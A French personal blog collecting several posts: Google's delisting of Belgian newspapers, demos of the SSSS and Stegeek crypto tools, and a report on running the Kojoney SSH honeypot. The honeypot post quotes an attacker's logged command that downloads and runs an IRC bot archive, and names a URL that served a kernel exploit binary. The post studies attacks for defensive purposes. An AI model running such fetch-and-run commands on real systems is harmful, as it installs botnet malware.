devloop :: blog

On avait déjà vu lors de l'affaire Google / CNET, que le moteur de recherche pouvait avoir des réctions un peu brutales quand quelque chose lui déplaisait.

Récemment plusieurs sites d'information belges commes lesoir.be et lalibre.be ont attaqué Google News (.be) en justice pour non respect du droit d'auteur. En effet le site Google News regroupe différentes sources d'informations sur un sujet donné, rassemble les liens vers les articles traitant de ce sujet et donne un extrait (quelques lignes) d'un de ces sites.
Les différents journaux estiment que Google devrait leur verser de l'argent puisqu'il utilise leur contenu pour son site d'actualité. Evidemment Google ne voit pas du tout les choses comme ça, de son point de vue il donne gratuitement à ces journaux une audience supplémentaire qu'il n'auraient pas sans lui.
Malgré ses appels en justice, le tribunal a tranché : le site Google.be doit afficher la décision de justice sur son site Internet et retirer les articles des journaux de son Google News.

En ce moment même on peut voir sur Google.be le texte en question. Google visiblement très mécontent a bani pûrement et simplement ces journaux de son site... et de son moteur de recherche. Ainsi LeSoir et LaLibre n'existe plus si on passe par Google.be.

C'est bien la preuve que Google est bien sûr de son pouvoir. Avant qu'il n'applique la décision de justice, la directrice de communication de Google Europe tournait déjà la situation en dérision :

Nous ne comptons pas rémunérer les journaux. Nous estimons que Google News leur offre suffisamment d’avantages en augmentant leur audience et donc leurs revenus publicitaires

et d'ajouter à propos des journaux qui ont boudé Google par le passé :

Ils ont constaté la baisse de trafic vers leur site, et sont vite revenus chez nous.

C'est évident que les journaux en question ne pensaient pas que Google irait jusque là et que les conséquences risques d'être.... euh conséquentes
Pour mon blog, plus de la moitié des visiteurs viennent par Google. Evidemment pour un site d'information c'est différent mais ils risquent tout de même de le sentir passer (est-ce que ce serais comparable à un DDoS en terme de perte finançière ?). Personnellement la seule raison qui m'amène sur ces sites d'informations c'est qu'ils sont liés sur Google News, je ne vais jamais de moi même sur ces sites...
Mais cet abus de pouvoir de la part de Google est bien flippant

Affaire à suivre

Sources :
LeFigaro
PCInpact.com

tous deux accèdés par l'intermédiaire de... Google News France - Science/Technologie

Dans ce billet je vais vous parler de deux logiciels cryptographiques qui se basent sur des concepts ingénieux

SSSS (pour Shamir's Secret Sharing Scheme) se base sur le principe du secret partagé, plus précisemment sur les travaux du célèbre Adi Shamir sur le sujet.

Le principe du secret partagé est entré depuis longtemps dans nos esprits. Qui n'a pas vu un film dans lequel un trésor est protégé par tout un tas de verrous et auquel on ne pourra accèder qu'une fois que les propriétaires des clés correspondantes seront réunis ?

Mais dans une telle situation on a tendance à voir les clés des différents protagonistes comme autant de mots de passe. Je dirais que du point de vue de SSSS, le mot de passe est le trésor et que les clés... sont simplement des clés cryptographiques. Certes ce ne sont pas des clés publiques puisque leur divulgation permettrait l'accès au trésor par n'importe qui, mais le vol d'une seule clé ne permettrait pas de briser la protection

Si je dis que le trésor est un mot de passe c'est principalement parce que SSSS ne permet que de cacher une chaine de 128 caractères ASCII maximum.

La commande ssss-split va se charger de répartir le secret à dissimuler dans les différentes clés. Par exemple si je désire cacher le secret dans 8 clés différentes et que ce secret soit accessible par 4 possesseurs de ces clés (quelqu'ils soient), je tappe :

$ ssss-split -t 4 -n 8

Le programme me demande alors d'entrer le secret et 8 clés seront générés :

1-57c86c3b18f3c490
2-208098db24047637
3-c600bba02b41008a
4-a76a68d66263efcc
5-556f77fc199c2934
6-0b2dfbbecc1efb19
7-48a9365210b2b699
8-239ab30fbb4d76e7

Je m'empresse de donner à chacun sa clé et si plus tard nous avons besoin de retrouver ce secret il suffira de réunir 4 membres du groupe et de faire appel à la commande ssss-combine :

$ ssss-combine -t 4
Enter 4 shares separated by newlines:
Share [1/4]: 3-c600bba02b41008a
Share [2/4]: 6-0b2dfbbecc1efb19
Share [3/4]: 8-239ab30fbb4d76e7
Share [4/4]: 1-57c86c3b18f3c490
Resulting secret: l33tp4ss

Dans ce cas là se sont les clés numérotées 3,6,8,1 qui ont permis de retrouver le secret.

C'est dommage que le logiciel soit limité à 128 caractères et ne permette pas de partager des fichiers...
J'ai aussi trouvé un bug assez génant :

$ ssss-combine -t 2
Enter 2 shares separated by newlines:
Share [1/2]: 4-a76a68d66263efcc
Share [2/2]: 7-48a9365210b2b699
Resulting secret: o..Q....
WARNING: binary data detected, use -x mode instead.

Dans le cas où seulement deux clés sont compromises sur les 4 (ou plus), on obtient un mauvais résultat mais dont la longueur est celle du vrai mot de passe

Pour compiler le logiciel vous aurez besoin de la librairie GMP sur les calculs de grands nombres (paquets gmp et gmp-devel sur SUSE)

Stegeek se base aussi sur le principe des clés multiples mais de façon bien différente. Si je devais donner une référence, je dirais que c'est le principe de la "salle sur demande" dans Harry Potter
Pour ceux qui ne connaissent pas cela signifie qu'il y a un coffre magique dont le contenu change en fonction de la clé utilisée pour l'ouvrir.

A quoi ce principe peut-il servir en informatique ? Tout simplement à induire en erreur un attaquant qui aurait intercepté le fichier crypté et aurait réussi à en extraire des données (sans intérêt) avec un certain mot de passe alors que les données sensibles seraient protégées avec un mot de passe plus fort

Pour faire fonctionner Stegeek vous devez au préalable créer un fichier qui contiendra les différents mots de passes (un par fichier à dissimuler et un mot de passe par ligne)

Par exemple je crée un nouveau fichier nommé passfile dont le contenu est :

ceciestlepremierpass
thisisthesecondpass
herecomethethirdpassword

Ensuite j'utilise stegeek pour cacher 3 fichiers dans un fichier nommé blah :

$ stegeek -o blah -r 1.5 /etc/passwd /etc/issue /etc/SuSE-release < passfile
/etc/passwd
/etc/issue
/etc/SuSE-release
-----
Adding 3 files.
Enter encryption keys for files
(10-36 chars, first 4 chars must differ from other keys of files in archive)
key 0:key 1:key 2:
Creating archive...
Done.

Maintenant déchiffrons le fichier blah avec le troisième mot de passe, le résultat étant stocké dans le fichier secret :

$ stegeek -e -o secret blah
Enter extraction key: herecomethethirdpassword
Extracting...
Done.
Erreur de segmentation
$ cat secret
SUSE LINUX 10.1 (i586)
VERSION = 10.1

et avec le second mot de passe :

$ stegeek -e -o secret blah
Enter extraction key: thisisthesecondpass
Extracting...
Done.
Erreur de segmentation
$ cat secret
Welcome to SUSE LINUX 10.1 (i586) - Kernel \r (\l).

Malgré quelques erreurs de segmentation tout fonctionne Malheureusement le projet est mort :'(

Deux logiciels forts intéressants... évidemment il faut trouver l'occasion de les utiliser

Kojoney est un honeypot à faible interaction.
Développé en Python et basé sur les librairies réseau Twisted, il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passes faibles.

Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hazard et qui tentent une attaque par froce brute sur les mots de passes, ciblant principalement les mots de passes par défaut ou ceux dont l'utilisateur n'a pas fait preuve d'imagination.

L'institut SANS tient à jour un classement des 20 vulnérabilités qu'il juge les plus critiques. Pendant très longtemps l'utilisation de mots de passes facilement trouvables était en tête du classement mais il semble qu'avec la prolifération des vers, des spywares et autres malwares, les mauvais mots de passes ont une importance moindre. Pourtant ils sont et seront toujours présents.

Si vous vous promenez sur les forums spécialisés Linux vous avez sans doute déjà vu quelques personnes se plaindre de ces attaques. Et même si la plupart du temps ces attaques échouent, elles font beaucoup parler d'elles.

Kojoney vous permet d'analyser ce traffic. Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes tappées par le pirate dès que celui-çi a trouvé un des comptes utilisé par Kojoney

Kojoney a plusieurs défauts, même s'il n'en est pas forcément le responsable. Premièrement il faut avouer que les pirates qui effectuent de telles attaques ne sont généralement pas d'un niveau très élevé. Il faut dire qu'effectuer des attaques brute-force est ce qu'il se fait de moins discret. Ca génère une quantité de logs impressionants, c'est facilement détecté par des logiciels de surveillance et même un informaticien débutant peut se douter qu'il se passe quelque chose de louche en voyant sa bande passante réduite aussi vite.
Le second problème est qu'il ne fait que simuler un serveur SSH. Techniquement le programme ne fait que boucler sur ce que tappe l'utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...)

Toutefois avec les versions 0.0.4 il est possible pour ceux qui ont quelques connaissances en Python de rajouter très facilement des commandes à ce shell virtuel
J'utilise Kojoney depuis un bon boût de temps maintenant et j'y ai apporté quelques retouches (c'est tout l'avantage des logiciels libres) afin de rendre l'environnement plus réaliste. Malheureusement toute la partie gestion du terminal est laissée à la librairie Twisted Conch et certaines modifications semblent impossibles à apporter (utilisations des flèches pour gérer l'historique, utilisation de la touche backspace...)

La version 0.0.4.1 apporte une nouvelle fonctionnalité : télécharger dans le dossier /var/log/kojoney les fichiers que les pirates auront tenté de rapatrier avec wget ou curl

La lecture des logs peut être assez longue, heureusement différentes commandes permettent d'obtenir un résultat plus lisible. Le principal utilitaire est kojreport qui génère des statistiques sur les attaquants (pays les plus actifs, commandes les plus utilisés etc)

Rien qu'au niveau des logiciels d'attaques utilisés ont remarque des différences : certains continuent d'attaquer après avoir trouvé un mot de passe, d'autre s'arrêtent au premier compte obtenu.
La plupart du temps les pirates se servent d'une machine compromise pour effectuer l'attaque et se connectent au compte en utilisant une autre machine (leur machine perso ?) Généralement les attaquants sont humains mais quelques fois on a affaire à des outils automatisés qui lancent des commandes en aveugle, par exemple :

wget free-ftp.org/trkalce/botovi.tar.gz;tar -zxvf botovi.tar.gz;cd bots;chmod +x inetd;./inetd

Quelques attaquants se concentrent uniquement sur le compte root, allant parfois jusqu'à ne tenter qu'un seul mot de passe (root/root ?)
Les premières actions des pirates consistent généralement à vérifier s'ils sont seuls sur la machine (w ou who), à savoir où ils sont (pwd, ls) et sur quoi ils se trouvent (uname, uptime). Ensuite ils tentent de changer le mot de passe (passwd) - pour éviter que quelqu'un passe dérrière eux - et téléchargent une backdoor

Dans la grande majorité des cas il s'agit d'un bot irc. Le programme se connecte à un serveur IRC, dans un cannal donné et attend que quelqu'un sur ce cannal lui donne des ordres. La machine vient très probablement se rajouter à un botnet.

Les pirates ne maîtrisent pas tous Linux comme ils le devraient et abandonnent très vite en voyant que certaines commandes ne sont pas présentes ou leur sont interdites. Ils manquent de curiosité et ne prennent pas le temps de comprendre ce qu'il se passe

Pour tout dire, un seul a jusqu'à présent eu l'intention de passer root
Il a téléchargé un binaire nommé 'hat' à l'adresse dogg-crew.com/nightfox/hat. Après l'avoir placé dans un chroot et l'avoir 'stracé' j'ai très vite compris qu'il s'agissait d'un exploit pour une faille dans les kernels 2.4 (do_brk). Le nom de l'exploit complet étant hatorihanzo on comprend mieux le nom du fichier.

Le binaire a d'autres particularités intéressantes. Tout d'abord il semble vérolé et est détecté comme étant Virus.Linux.Osf.8759 (ou Linux/OSF.A)
Il faut avouer que le fichier est assez imposant (423Ko) même pour un programme compilé statiquement. Une grande partie du code semble être crypté et certains désassembleurs se cassent les dents dessus :

On comprends mieux où se trouve la signature du virus
Même en le désassemblant avec gdb je ne suis pas parvenu à voir autre chose que la partie exploit du fichier, mais mes connaissances en virus sont très limitées.

J'espère que ce billet vous aura donné l'envie d'installer Kojoney.
Je vous recommande, une fois l'installation effectuée, de télécharger mes modifications et de remplacer les fichiers de la version originale.

EasyVMX : un site qui permet de créer gratuitement des machines virtuelles prêtes à utiliser par VMware Player.

Orangoo Spell Ckeck : un vérificateur orthographique en ligne ^_^

WorldTimeServer.com : pour savoir qu'elle heure il est ici ou ailleurs

Kalsey Button Maker : un générateur d'images dans le style "w3c validator"

80x15 Brilliant Button Maker : même chose avec quelques options en plus

CWSanbox : ce site exécute les malwares qu'on lui envoit dans un espace confiné et renvoit un fichier XML décrivant le comportement de l'exécutable (chargement de dlls, accès aux fichiers, accès à la base de registre etc)
Je m'en sers pour connaître le fonctionnement des bestioles récupérées par nepenthes et qu'aucun de mes AVs n'a pu détecter Dommage qu'on ait pas droit à un beau fichier html.

PS : Il y a du nouveau sur le blog de Signal Spam.

Tout simplement en empéchant les internautes de s'inscrire sur les listes de demandeur d'emploi